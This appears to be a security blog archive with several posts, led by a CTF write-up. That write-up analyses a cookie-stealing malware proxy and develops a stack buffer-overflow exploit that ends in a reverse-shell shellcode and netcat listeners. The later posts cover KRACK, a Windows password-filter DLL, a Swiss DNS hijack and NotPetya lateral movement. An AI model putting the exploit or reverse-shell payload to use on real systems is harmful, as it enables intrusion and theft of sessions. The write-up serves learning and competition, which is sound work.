Insomni’hack 2018 – vba03-strikeBack writeup

Here is a write-up for the challenge “vba03-strikeBack”, since none was posted yet on CTFtime.

All the source code for the malware and cookie logger are available on GitHub.

Task description

The teams had the following info:

What the frick mom? I fell for it for the THIRD time! Here is the file I downloaded:
VBA03 – Bitcoin value prediction 2.xls

(password for the zip file is “infected”)


How it works

  1. The .xls file contains an obfuscated VBA macro (same one as the “vba02-bitminer” challenge) that drops and runs a packed executable.
  2. The dropped executable configures a system wide HTTP proxy. If ran as administrator, it also installs a malicious self-signed root CA. An automatic proxy configuration script instructs the browsers to proxify only the traffic to hosts containing the word “bank”.
  3. Whenever a proxified HTTP response sets a new cookie through the Set-Cookie HTTP header, the proxy server logs the time, host and cookie. This allows the author of the malware to steal e-banking sessions.

How to solve

  1. Analyze the malware using either static or dynamic analysis and notice the proxy auto-configuration file hosted at ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.
  2. Access the FTP and notice that it also hosts the source code and binary of the cookie logger.
  3. Find a simple buffer overflow vulnerability in the cookie logger and craft a proof-of-concept locally.
  4. Set-up an HTTP server and make it answer with a Set-Cookie header that has the PoC’s buffer as a cookie.
  5. In any web browser, access the HTTP server through the vulnerable proxy.
  6. Get a reverse shell and find the flag in the flag.txt file.

Malware analysis

Here is the source code of the malware (of course, this was not available to the teams).

Static analysis

The analysis part could be performed by de-obfuscating the VBA macro (it was the same one as the “vba02-bitminer” challenge) which it drops and executes a file named bot.txt in the %TEMP% folder, and reverse-engineering this executable.

The executable was packed with UPX, but a few bytes were modified in order to prevent trivial unpacking using upx -d.

UPX unpacking
Trivial UPX unpacking fails

Of course, manual unpacking of UPX is not hard, but in this case it was much quicker perform a dynamic analysis.

Dynamic analysis

Dynamic analysis consist in running the malware (in a sand-boxed environment, of course 😉) and analyzing what happens. For instance, it can be done using Process Monitor.

First, open the malicious Excel file, but do not enable macros yet. Then, start a capture in Process Monitor, enable the macros in Excel, and stop the capture.

In my case, Excel had the PID 9472, so I added a filter to only show entries whose PPID is 9472:

Process Monitor filter
Process Monitor filter

This only leaves entries from an executable named bot.txt. Among them, some events seem related to proxy configuration. More specifically, the AutoConfigURL registry key is modified.

Process Monitor events
Suspicious events related to proxy settings

Opening this event reveals the URL that is used for the AutoConfigURL: ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac.

When the executable is ran as administrator, dynamic analysis would also reveal that a self-signed root CA is installed, (so that when a user browses to an HTTPS website, no warning is displayed). However, this part is not useful to solve the challenge.

Information gathering

.pac file

The .pac file is lightly obfuscated, but it can be de-obfuscated for instance using JSbeautifier.

/* Original */
var _0x2ed5=["\x2A\x62\x61\x6E\x6B\x2A","\x50\x52\x4F\x58\x59\x20\x64\x72\x2D\x65\x76\x69\x6C\x2E\x69\x6E\x73\x6F\x6D\x6E\x69\x2E\x68\x61\x63\x6B\x3A\x36\x36\x36\x36"];function FindProxyForURL(_0x8d97x2,_0x8d97x3){if(shExpMatch(_0x8d97x2,_0x2ed5[0])){return _0x2ed5[1]}}

/* De-obfuscated */
function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
  if (shExpMatch(_0x8d97x2, '*bank*')) {
    return 'PROXY dr-evil.insomni.hack:6666'

So, there seems to be an HTTP proxy on port 6666 of dr-evil.insomin.hack. The proxy is used only for URLs that contain the word “bank”, because Dr. Evil probably wants to steal e-banking sessions.

FTP server

Because the username (dr-evil) and password (Mwahahaha_666!) are in the URL of the .pac file, it is possible to browse the FTP and download the C source code cookie_logger.c and the corresponding binary cookie_logger. There is also the file flag.txt, but it is not readable.

Source code

Below is the content of cookie_logger.c. Let’s hope that Dr. Evil’s mastery of the C language is as good as their mastery of the English language.


 * Mwahahaha!
 * This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
 * Example usage:
 * ./cookie_logger "" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
 * [X] TODO_1: i tested it and it logs my own cookies! redact them
 * [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
 * [ ] TODO_3: make it gooder (curently its only working with < 512 chars

// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
  char redacted[512];
  else { 
  strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
  return buf;

// Main 
int main(int argc, char **argv)
  char cookie[512];
  char host[512];
  //build the csv with a timestamp

This program takes a host and a cookie as arguments and outputs them with a timestamp as CSV. It also redacts the hosts and cookie if they contain “dr-evil”, because Dr. Evil does not want their own cookies to be logged.

Buffer overflow

Dr. Evil alledgedly fixed the “bufer over flaw”, but they missed one in the redact function, where the second argument of the function is copied using strcpy.

Also, the binary has no buffer overflow protection, so there is no need to leak any address and the PoC can be developed locally.

$ checksec --file cookie_logger
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  No RUNPATH cookie_logger

Finding the offset that controls EIP

The tools pattern_create and pattern_offset can be used to determine the offset in the user input that controls EIP (the instruction pointer):

$ ./cookie_logger "" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524

The 524-th to 527-th characters of the user input control EIP. Thus, the PoC skeleton will look like that:

import sys
padding = "X" * 524
eip = "ABCD"
buf = padding + eip

Let’s test it:

$ ./cookie_logger "" "$(python"
Segmentation fault
$ dmesg | tail -1
[310519.428977] cookie_logger[32726]: segfault at 44434241 ip 0000000044434241 sp 00000000ffff2260 error 14

There is a segmentation fault with EIP at 0x41424344 (in little-endian), which matches with the ABCD in the PoC skeleton.

Jumping to shellcode

Conveniently enough, the user-controlled input buf is returned by the vulnerable function, meaning that EAX will point to buf when the function returns.

Therefore, a simple jmp EAX gadget is enough to control the execution flow. The tool rp-lin-x64 (or any other ROP gadget finder) can be used to search for gadgets inside the binary.

$ ./rp-lin-x64 -f cookie_logger -r 1 | grep 'jmp eax'
0x080501b4: jmp eax ;

There are lots of jmp eax gadgets available. Let’s use the first one at 0x080501b4. Our PoC now looks like that:

import struct
import sys
shellcode = "\x68\xef\xbe\xad\xde\xc3" # push 0xdeadbeef;ret
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip

For now, the shellcode should jump to the address 0xdeadbeef. Let’s check that the shellcode is correctly executed:

$ ./cookie_logger "" "$(python"
Segmentation fault
$ dmesg | tail -1
[313639.671886] cookie_logger[756]: segfault at deadbeef ip 00000000deadbeef sp 00000000ffcc2af0 error 14

Here is an illustration of the exploit so far. The red arrows represent the execution flow when the redact function returns.

Memory illustration
Execution flow when the redact function returns

Getting a reverse shell

The actual shellcode can be generated using msfvenom. In this case, I generated a reverse shell that connects back to my IP on port 12345. Some characters should not be part of the shellcode since it will ultimately be parsed as a cookie inside an HTTP response: ‘\x00' (signals the end of a string in C), ‘;' (used to delimit cookies in the Set-Cookie HTTP header, ‘\n' and ‘\r' (used to delimit headers in the HTTP response).

import struct
# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST= LPORT=12345 --bad-chars ";\0d\x0a\x00" -f py -e x86/shikata_ga_nai
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\xbd\xf4\x41\xb7\xb8\x58\x33"
shellcode += "\xc9\xb1\x12\x31\x68\x17\x83\xe8\xfc\x03\x9c\x52\x55"
shellcode += "\x4d\x6d\x8e\x6e\x4d\xde\x73\xc2\xf8\xe2\xfa\x05\x4c"
shellcode += "\x84\x31\x45\x3e\x11\x7a\x79\x8c\x21\x33\xff\xf7\x49"
shellcode += "\x04\x57\x16\xef\xec\xaa\x19\xdf\xd5\x23\xf8\xaf\x40"
shellcode += "\x64\xaa\x9c\x3f\x87\xc5\xc3\x8d\x08\x87\x6b\x60\x26"
shellcode += "\x5b\x03\x14\x17\xb4\xb1\x8d\xee\x29\x67\x1d\x78\x4c"
shellcode += "\x37\xaa\xb7\x0f"
padding = "X" * (524 - len(shellcode))
eip = struct.pack("I",0x080501b4) # jmp eax
buf = shellcode + padding + eip

Also, the buffer should be used as a cookie, as follows:

print "HTTP/1.1 200 OK"
print "Date: Mon, 27 Jul 2009 12:28:53 GMT"
print "Server: Apache/2.2.14 (Win32)"
print "Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT"
print "Content-Length: 52"
print "Content-Type: text/html"
print "Connection: Closed"
print "Set-Cookie: " + buf # Insert the buffer here!
print ""
print "<html>"
print "<body>"
print "<h1>Hello, World!</h1>"
print "</body>"
print "</html>"
print ""
print ""

To trigger the buffer overflow on the vulnerable proxy, start by creating a basic HTTP server that serves the exploit (in this case using netcat):

$ python | nc -nlvp 80

In another terminal, create a listener for the reverse shell:

$ nc -nlvp 12345

Then, configure your web browser to use dr-evil.insomni.hack:6666 as proxy and visit your own web page, in this case
You will get a reverse shell running as cookie-logger.

connect to [] from (UNKNOWN) [] 36434
$ whoami

Finding the flag

It is now possible to read the flag.txt file, which contains a list of captured cookies. The flag is supposed to be the cookie of the malware author:

$ grep -i 'ins' -C 1 flag.txt
"1518702848","","PHPSESSID=0e015ef2438de2ae2e0b97f5586e1988; path=/"
"1518702863","[REDACTED]","flag=INS{C00ki3_St34l3r_St34l3r}; path=/"
"1518702879","","dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly;dnn_IsMobile=False; path=/; secure; HttpOnly;language=en-US; path=/; secure; HttpOnly;.ASPXANONYMOUS=dP4qXPbc0wEkAAAANTViZGIzNTYtZGNmZS00ZjJhLTk4MDEtZWJmZDkxN2YxNWY40; expires=Thu, 26-Apr-2018 00:34:39 GMT; path=/; secure; HttpOnly"

The flag is INS{C00ki3_St34l3r_St34l3r}.

WPA2 KRACK – What you should know so far … (in simple terms)

As most people, we have been waiting for the release of the technical details surrounding the  WPA2 vulnerabilities discovered by Mathy Vanhoef  (@vanhoefm).

While the details and the full paper ( are now available, here is a summary aimed at providing the big picture as well as a few recommendations about this attack.

Note that we could at this stage not experiment ourselves with this attack (no PoC or exploit tool is publicly available yet) so this article is solely based on the information published by Mathy Vanhoef and on common knowledge about WiFi and WPA2 (aka Wikipedia).


WPA2 is currently the standard security protocol used to protect WiFi networks. It replaces WPA (which was used a temporary standard) which in turn was meant to replace the original (and very weak) WEP protocol. Since March 2006, all devices bearing the WiFi logo must be WPA2-certified.

WPA2 comes in two different flavours, usually referred to as WPA2-PSK and WPA-Entreprise and that differ by their authentication details and, consequently, by the details of the Master Key (called Pairwise Master Key) derivation mechanism. While WPA2-PSK derives this key from a shared secret (called Pre-Shared Key), WPA-Entreprise derives it from an underlying authentication mechanism.

However, whatever the authentication and PMK derivation details, both flavours of WPA2 then use this master key to derive sessions keys (called Pairwise Transient Key) that are ultimately used to encrypt data over the air. This encryption also comes in various flavours which are :

  1. TKIP
    A deprecated encryption mechanism based on RC4 and meant to be retro-compatible with hardware initially designed for WEP encryption;
  2. CCMP
    The currently recommended encryption protocol, based on AES (in CTR mode) and CBC-MAC authentication code;
  3. GCMP
    A new mechanism (also based on AES but operating in Galois/Counter Mode) that is used by the 802.11ad variant of WiFi (branded WiGig). This protocol seems to be still mostly unknown today (to be honest I had never heard about it before reading Mathy’s paper) but is apparently meant to become very widespread in the future.

In order to encrypt the data that is sent over the network, these encryption algorithms operate as stream-ciphers (RC4 actually is a stream-cipher, AES is called a block-cipher but both CTR and GCM modes of operation are meant to allow it’s used as a stream-cipher). Stream-ciphers produce a continuous key-stream that is used to encrypt data (e.g. by XORing the two). This can result (depending on the cipher itself) on a very strong encryption mechanisms as long as some constraints are respected (e.g. having a strong randomness source for (random) elements used to generate the key-stream and never to re-use the same key-stream).

KRACK attacks in a nutshell

When a device connects to a (non-open) WiFi network, it establishes a dialog with (one of) the access point(s) that is meant to authenticate the device (prove that it has the Pre Shared Key or valid authentication credentials depending on the “flavour” used) and that ultimately leads to the establishment of a session key (PTK) that is used to encrypt the data over the network. This dialog is part of the WPA2 standard and is called “4-way handshake”. This “handshake” is not only used upon initial connection but it is also performed again afterwards, on a regular basis (e.g. every hour) to refresh the session key (agree on a new key).

As the name suggests, this exchange is based on 4 messages, carrying, among other things, a pair of nonces (“numbers used once”) – one chosen by the client (called supplicant in the standard) and the other by the access point (called authenticator) that have a direct impact on the key-stream that is generated by the ciphers.

An overview of the WPA2 4-way handshake is reproduced below (source:

Now … In very simple terms (much more technical details are available in Mathy Vanhoef’s paper ) Key Reinstallation Attacks leverage the fact that – because of a design flaw in the WPA2 protocol – if an attacker replays Msg3 of the handshake above, the (target) device will usually treat this replayed packet as if it had not already been received before and will used it to derive (again) the session key (remember that this message contains one of the nonces used to generate the key-stream).

This issue is partly due to the fact that – because it is a wireless protocol – WiFi (and thus WPA2) has to be designed to account for the possibility of having lost packets (interference, jamming, low signal, …). However the problem lies in the details of how this re-transmitted message is then used by the device (e.g. accepting to re-install a key that had already been used in the past).

In very simple terms, the attack is as follows : the attacker waits for the client device to receive Msg3, process it (thus establishing the session key) and respond with the last message of the exchange (Msg4). The attacker then blocks this message (more details below) thus preventing the access point from receiving it. After a timeout, having received no response to its previous Msg3, the access-point will re-send Msg3 again which will cause the client to re-process it and derive (again) the session key, re-setting the nonces (and various internal counters) to previously used values.

In the meantime (between the moment when Msg4 hs been sent by the client, and the new Msg3 is received) if the client has already used the session key to encrypt and send data on the network this will result in the same key-stream being used twice to encrypt data which is a major violation of the proper use conditions of a stream-cipher.

By using this the attacker can (under some additional constraints) decrypt the contents of the affected data packets.

What does the attacker need ?

In order to carry this attack, the attacker must be capable of, not only sniffing the (encrypted) data that travels over the air (that is always granted) but also to block and replay data packets that are exchanged between the client and the access point.

For that, Mathy Vanhoef relies on a technique called channel-based Man-in-the-Middle attack. Basically, the attacker creates a rogue access-point, with the same characteristics (including the AP’s MAC address) but on a different channel (frequency) and tricks the client in connecting to it instead of the legitimate AP. As a result of that, the client and the AP are on different frequencies and don’t “see” each other. The attacker then relays the messages between the two channels with the capability of blocking, delaying or replaying them as wanted.

What are the consequences ?

As the discovered flaws are inherent to the WPA2 standard, one could think that the attack and the consequences do not depend on the device’s manufacturer and/or software… However the reality seems to be quite different. Actually, many different behaviours are described by Mathy Vanhoef, depending on the device details (including some systems being less affected by the attacks because they are in actual violation of the standard).

But roughly speaking, the attacker will be able to perform one or several of the actions below (depending on the targeted devices and software) :

  • Decrypt the data packets sent over the network thus having access to the data sent by sent by the targets. Note that this data may still be encrypted by another mechanism (e.g. if the target is browsing an HTTPS website) however any clear-text traffic (e.g. HTTP) would be compromised;
  • Replay packets that have been previously sent by the targets;
  • Forge new packets and send (“inject”) them on the network. This could be used, for instance to inject malicious content in browsed webpages or replace downloaded files.

On the other hand, note that the attacker will NOT be able to (at least based on the information available so far) gain full access to your WiFi network (i.e. this attack does not allow to recover your WiFi’s password). This attacks thus does not have the same consequences as what has been observed in the past with WEP et even WPS (used to gain access to WPA2 networks).

The special case of Android…

The use of WPA(2) on most Linux systems relies on the use of a program called wpa_supplicant, that implements all the magic related to authenticating and connecting to WiFi networks.

During his research, Mathy Vanhoef discovered that a series of versions of wpa_supplicant – (2.3 to 2.6) in addition to being vulnerable to the key reinstallation attacks – suffered from an additional implementation flaw that resulted in much more catastrophic consequences for this attack. When targeted with this attacks, these versions of wpa_supplicant do not “simply” re-install the previously used key but they actually end up installing an all-zero key thus resulting in catastrophic consequences (the attacker can basically decrypt all the traffic sent by the device).

Android – being a Linux system – also relies on wpa_supplicant. Consequently, it seems that Android 6.0+ versions are affected by this issue thus exposing millions of devices to the most critical form of this attack.

Note that, from the results observed by Mathy Vanhoef, if you have an iOS device (or a Windows computer by the way) you are – on the other hand – only exposed to a very limited subset of these attacks.

What should we do ?

The affected device manufacturers and software editors have been informed by Mathy Vanhoef several months ago in order to allow for the development of fixes, several of which have already been published. A list of affected vendors (and status information) is available at this URL:

Consequently, you should  :

  1. Don’t panic ! It is not WiFi’s doomsday…
  2. Update and fix all your WiFi devices for which patches are available (access-points, routers, laptops, smartphones, tablets, “smart”-devices, …) as soon as possible;
  3. If possible, rely on additional layers of encryption (HTTPS, IPSec, …) on top of your WiFi network (that’s always true and recommended);
  4. Prefer the use of 4G over WiFi (as long as your devices are not patched). Note however that – in its worst case scenario – this attack does not have more serious considerations to your smartphone/tablet than being connected to any public WiFi network;

What’s next ?

Mathy Vanhoef did not – at this stage – publish an actual exploit tool and some of the attacks require non-trivial conditions to be carried. However it is quite obvious that these attacks will very soon be implemented in existing or new tools and ultimately be easily available.

Moreover it most probable that millions of devices (cheap Android smartphones/tablets, IoT devices, …) will never be updated (because the users will never apply the patches and – most of the time – because such patches will not be available).

Consequently, even if this issue will probably be solved on the long run in many corporate environments (as “easily” as deploying patches on a large scale on often non-centrally managed devices may be…), it may leave many home networks and end-user devices vulnerable for a long time.

More interestingly it may very well open the door for similar attacks on other protocols.

PassFilt.dll – Complexifier sa politique de mot de passe Windows

La gestion des mots de passe en entreprise est un challenge très complexe à appréhender. Les bonnes pratiques que l’on peut trouver un peu partout sont toutes d’accord pour augmenter la taille minimum d’un mot de passe tout en imposant un mélange de tous types de caractères.

Ajouter à cela la nécessité de changer régulièrement son mot de passe plus celui-ci circule sur le réseau (de manière hashé ou non) et nous obtenons en entreprise, sous windows, l’effet inverse à celui escompté en terme de robustesse.

En effet, les mots de passe ont évolué de simples mots souvent en rapport avec la vie personnelle des utilisateurs (nom des enfants, du chien…) à des mots de passe encore plus simple car directement liés à l’environnement de l’entreprise (Entreprise2017!, Entreprise33!, EntrepriseJuillet!)

Pour l’attaquant il suffit donc de générer un dictionnaire spécifique à l’entreprise (utilisant des permutations sur le nom, les chiffres, les mois, les saisons…) pour casser un très grand nombre de mots de passe sur un domaine Windows.

Pour complexifier sa politique de mot de passe, Windows offre deux solutions :

  • La première consiste à modifier la stratégie de mot de passe GPO et d’activer la règle “Le mot de passe doit respecter des exigences de complexité”. Malheureusement, ces exigences sont insuffisantes puisqu’elles vérifient simplement si le mot de passe contient 3 types de caractères différents et autorise donc les mots de passe faibles cités précédemment.

  • Sans juste milieu, la seconde méthode consiste à développer une Password Filter DLL personnalisée.

PassFilt.dll (Password Filter DLL)

Le traitement de la complexité d’un mot de passe est donc laissé à cette DLL qui peut obliger un utilisateur à respecter des règles bien plus complexe.

C’est lsass (Local Security Authority Subsystem) qui va dans un premier temps vérifier si le mot de passe est en accord avec la politique de complexité du domaine (défini dans la GPO) avant d’appeler la DLL.

Pour fonctionner, la DLL doit implémenter 3 fonctions :

  • InitializeChangeNotify(void);
    Appelée au chargement de la DLL si besoin d’initialiser des variables.
  • PasswordChangeNotify(Username, RelativeId, NewPassword);
    Appelée lorsque le mot de passe a bien été modifié.
  • PasswordFilter(AccountName, FullName, Password, SetOperation);
    C’est dans cette fonction que les nouvelles exigences de complexités vont être implémentées. Elle retourne simplement un booléen indiquant si oui ou non le mot de passe choisi est assez robuste.

Pour installer la DLL, son nom doit être présent dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages et elle doit être placée dans %WINDIR%\System32.

Bien sûr, tout administrateur windows doit être en mesure de développer en C/Cpp du code qui sera exécuté avec les privilèges les plus élevés et rendant instable tout le domaine en cas d’erreur…

Aucune solution open source ne semblait suffisamment aboutie pour être proposée à nos clients et nous avons donc décidé d’y remédier.

Options de complexité

Longueur du mot de passe

La règle sur la longueur rejettera les mots de passe contenant trop peu de caractères.


La règle de complexité rejettera les mots de passe contenant une trop faible variété de types de caractères (minuscule, majuscule, chiffre, symbole).

Lettres consécutives

Les mots de passe contenant un trop grand nombre de lettres consécutives identiques seront rejetés.


Les mots de passe contenant des mots présents dans la wordlist seront rejetés. Le dictionnaire doit contenir un mot interdit par ligne. Vous pouvez utiliser un programme pour générer votre dictionnaire personnalisé (à l’aide de john the ripper par exemple).

Wordlist Token

Le mot de passe va être « tokénisé » à chaque changement de type de caractères. Par exemple pour le mot de passe “adminSCRT-2017″, les tokens suivants seront créés “admin”, “SCRT”, “2017”. Les tokens sont ensuite comparés à ce second dictionnaire. Si un token correspond exactement à un mot du dictionnaire, le mot de passe est refusé. Si “SCRT” se trouve dans ce dictionnaire, “adminSCRT-2017” sera refusé mais pas “12!*zqFSCRTZPODs


Toutes ces règles sont définies dans des clés de registres :

Pour éviter à l’administrateur du domaine de modifier ces clés de registres manuellement et ainsi lui faciliter la vie, une interface graphique a également été développée.

Au premier lancement de cet exécutable, celui-ci va:

  1. Extraire la DLL correspondante à votre système (32 ou 64 bits) et la placer dans %WINDIR%\System32
  2. Activer la fonctionnalité en ajoutant le nom de la DLL dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
  3. Créer les différentes clés de registre contenant la politique de mots de passe personnalisée dans HKLM\SOFTWARE\Wow6432Node\PasswordFilter.

La mise en place d’une DLL PassFilt nécessite malheureusement le redémarrage du DC.

Par la suite, la modification de la configuration est instantanée et ne nécessite aucun redémarrage.

Dernier point, comme dit précédemment, la fonction PasswordFilter() ne retourne que « True » ou « False », il est donc impossible d’avertir directement l’utilisateur sur la raison du refus de son mot de passe.

Un fichier de log est donc créé sur le DC à l’emplacement souhaité et permettra à l’administrateur de connaître les raisons d’un refus de mot de passe.


Bien que la complexité des mots de passe doit être efficacement assurée, il ne faut pas oublier la contrainte que cela impose aux utilisateurs.

Il est bien plus intelligent de proposer et de former les collaborateurs à l’utilisation de gestionnaires de mots de passe. En effet, ces solutions permettent de régler complètement les problèmes de robustesse tout en améliorant l’expérience utilisateur.

Encore faut-il être connecté à sa session pour pouvoir exécuter son gestionnaire de mot de passe…

Vous pouvez directement utiliser la dernière release pour installer le PassFilt DLL pour windows server 2012 R2 (qui n’est pas compatible avec windows server 2008 R2).

Le code de la DLL est quant à lui disponible ici

Jules Duvivier

Numerous Swiss domain names temporarily hijacked

Last Friday at around 14:05 we noticed that our website ( along with some other services we use internally were no longer accessible. We immediately tried to figure out why that was and quickly noticed that our DNS requests were not returning the correct IP addresses.

As these responses were not only returned by our DNS server, but all servers globally, we had a short moment of anguish where we wondered whether we had forgotten to renew our domain name or if our account at our registrar had been hacked!

Thankfully none of these had happened as we observed that the DNS configuration at the registrar and in our name servers was not altered. So at 14:17 we contacted to ask them whether they could tell us any more about what had happened. They informed us that they had received a change request from our registrar (Gandi) and that we should check with them. Following further discussion with them, they found that similar changes had been requested for 94 .ch and .li domain names.

We then contacted Gandi directly who told us that 751 of their domain names had been hijacked and they subsequently started to rollback the changes. By 15:05, everything was back in order, though we still haven’t received any news as to what made all of this possible in the first place.

Here’s some background information on the DNS protocol to better understand what happened.DNS resolution

Each time a web site or any resource is accessed using a fully qualified domain name such as, the DNS resolution process is run to obtain the IP address of the target system. DNS lookup walks through a hierarchical DNS structure which, abstracting any cache mechanism, works in the following manner:

  1. The client (eg a web browser, a mail gateway, a web proxy) queries its DNS resolver. In our case, the resolver is queried for the record The resolver will then handle the resolution (recursive query) on behalf of the client.
  2. First, It will query one of the root DNS servers serving the internet globally. The root DNS server will consider the Top Level Domain (TLD), which in this example is .ch, and will provide the resolver with the IP address of the name server in charge of this TLD which for .ch is (Switch).
  3. Then the resolver will query the name server at which will in turn provide the resolver with the IP address of the name servers responsible for
  4. Finally, the resolver will query the name server authoritative for and will get the IP address matching the record

DNS configuration

As a domain owner, you must first use a registrar to register your domain name, which will handle most administrative tasks for you. The main information the registrar owns which is important for this discussion is the authoritative name servers for your domain.

The registrar will typically propagate this information through the DNS global infrastructure, which basically means informing the TLD registry about the IP addresses of the authoritative name server for your domain.

Here we are

The domain is registered at Gandi where we configure the IP addresses of our name servers. Gandi is responsible for propagating this information to, enabling the resolution for our domain globally.

The attack

Last Friday, an attacker was able to compromise a technical provider used by Gandi to communicate with various TLD registries. This compromise allowed him to request changes to registries, including, to modify the name server information for several domains, including ours.

At this point, a rogue DNS server was introduced in the DNS resolution path. Looking at the DNS resolution process described above, the hijack happened in step 3 where was providing the rogue DNS server instead of the valid one to any resolver, allowing the attacker to redirect any requests for impacted domains to IP addresses owned by the attacker himself.

Gandi’s incident notification can be found here.

On our end, the impacts this attack had were:

  1. For an hour, the website was redirected to another host serving up an exploit kit that would try to infect vulnerable browsers. However, if you had visited our site previously, you would not have been affected as HTTP Strict-Transport-Security would have forced your browser to use a valid HTTPS which the attacker could not emulate, therefore resulting in a connection error. The only case where you might have been at risk is if you had never visited our site previously and you had an outdated vulnerable browser (and/or browser plugin), though if this is the case, attackers would probably not wait for you to visit our website to compromise you.
    If you want to check for the occurrence of a connection from one of your systems to the malicious web server, you can look for connections to the following IPs:,,
  2. During the attack, all emails sent to addresses were not delivered to our server but to a foreign mail server which, according to tests performed during the attack, was not configured to accept emails for our domain. While it doesn’t seem to have been the objective here, this type of attack could potentially be used to read incoming emails while the name servers are poisoned.

In our case, we have always treated emails as inherently insecure and make sure to use other channels and encryption to transfer sensitive information.

Despite the fact that this incident was entirely out of our control, we will be taking steps to further reduce the impact such an attack could have in the future and of course recommend these to all of you reading this, as such attacks can happen to anyone:

  • Preload Strict-Transport-Security into browsers for our website in order to protect even first-time visitors.
  • Monitor DNS resolution by not only querying authoritative name servers directly but by crawling the full hierarchy.
  • Discuss with whether detection of such events could be improved. Having over 90 domains owned by different entities changed at the same time to point to a single name server is really suspicious.
  • Implement DNSSEC. While in this case the attacker could have been able to either suppress or update the DS record in the TLD zone, the cache mechanism would have mitigated the attack until DS record TTL’s expiration, as confirmed by a discussion with SWITCH-CERT.

For reference, blog posts of Gandi and SWITCH-CERT

A pentester’s take on (Not)Petya

By now, everybody has probably read many articles on the latest viral outbreak, ranging from detailed analysis of the virus itself to rants about why companies don’t apply updates in a timely fashion and why employees continue to open malicious attachments in emails.

In this post, I thought I’d take a step back and look at some of the virus’ features that make it interesting from my perspective as a penetration tester, as it mimics some of the attacks we use on a weekly basis during our penetration tests. It also highlights the importance of some of the recommendations we provide that are often overlooked because the threat is rarely fully understood.

Some of the details are still a little blurry, but one of the initial infection vectors seems to have been the update mechanism of a software used by many companies in Ukraine. This is far from the classic phishing attacks where everybody can blame the end user for the infection. And despite the fact that this new attack also uses the EternalBlue exploit to propagate internally, it is most likely not the entry point into any company, in part due to the recent WannaCry ransomware which urged companies to finally apply the appropriate updates. For once we can’t just blame missing updates and irresponsible employees!

The second interesting part of this particular malware is the fact that it leverages mimikatz-like functionality to steal passwords and re-use them to infect other machines using PsExec or WMIC. This is very similar to what is performed during targeted attacks or penetration tests. After compromising an initial host, the attacker moves laterally through the network with any compromised credentials in order to take control of as many other hosts until the desired sensitive data is compromised. Obviously, the more privileged the credentials that were initially compromised are, the easier it will be for the attacker to gain access to other hosts. In the case of the current outbreak, given the fact that there seems to be no recovery possibility, and on top of this your backups happen to be accessible on the network, you will lose everything.

If at any point during an attack a domain administrator account (or similarly privileged account) is compromised, it is pretty much game over for the company, as the attacker has essentially compromised the whole company, and recovering from this is an extremely painful process. Some people will say that their most sensitive applications and data are not located on Windows servers and therefore not impacted by this, but in all likelihood, the legitimate employees who have access to the data do it from a Windows workstation. An attacker could therefore profit from this legitimate access to compromise the “secure” data as well.

Given the Ukrainian connection to the infection vector, the impact in Switzerland will probably be relatively low, but it is not unreasonable to believe that a similar attack could be performed against software that is regularly used within this country too. I can certainly think of a number of banking software that are used by a majority of Swiss companies that might be an interesting target. It gets worse if you think about Adobe, Java or even Windows (anybody remember Flame?).

So what can we do to reduce the risk of this happening in the future?

The answer in my eyes lies within two of the fundamentals of information security that are unfortunately very rarely implemented correctly:

  • Network segmentation & filtering
  • Least privileges

Network segmentation is generally pretty well understood and most companies have dedicated VLANs for various types of devices, but too often there is no firewalling performed between the different networks, making it all too easy to move around laterally or exploit vulnerabilities in obscure protocols that run on exotic ports that could very easily be blocked.

On top of a network firewall, we often recommend the use of Windows’ integrated firewall to block off SMB and RDP ports to avoid lateral movement within the same subnet. Typically these ports should be accessed only by a restricted team to manage the workstations or for support purposes. These rules can for example be deployed by GPOs.

If these rules had been deployed in the case of the current outbreak, if an initial host was compromised, the attack would be contained to that machine, as it couldn’t use PsExec, WMIC or EternalBlue to replicate, therefore drastically reducing its impact.

Nowadays, every company has one or several firewalls, but are unfortunately rarely used to their full potential. They can be used for a lot more than just routing traffic from one subnet to another. It takes a little time to set them up correctly to allow only authorised, necessary traffic, but this remains one of the best preventive measures against virus outbreaks and attacks.

For the second aspect of “least privileges”, I have very rarely encountered a company that truly performs this well at all levels, and I will group several different weaknesses that we see in pretty much every penetration test we perform:

  1. Use of excessive privileges by services
  2. Use of the same local administrator password on multiple hosts
  3. Excessive use of domain administrator (or other privileged) accounts

Before delving into why these issues are so important, I have to mention that access to a Windows workstation or server can be granted to either local users that are defined on the host itself, or domain users (as long as the machine is part of a domain) that are defined in the Active Directory.

It is also important to understand that apart from in certain circumstances, a user with local administrator privileges can use tools such as mimikatz to recover not only the NTLM password of all locally defined accounts, but also the plain-text password (or some times only NTLM hash) of any domain account authenticated to the host. Given that the NTLM hash can essentially be used as a password thanks to pass-the-hash techniques, all local accounts and any connected domain accounts can be completely compromised by a local administrator.

This should illustrate quite well why the three weaknesses above are so important.

  1. Any compromised service that is running with local administrator (SYSTEM) privileges will give the attacker the possibility of compromising all the local and connected domain accounts. Some of the services that we exploit the most that are nearly always affected by this are Tomcat, JBoss and SQL Server.
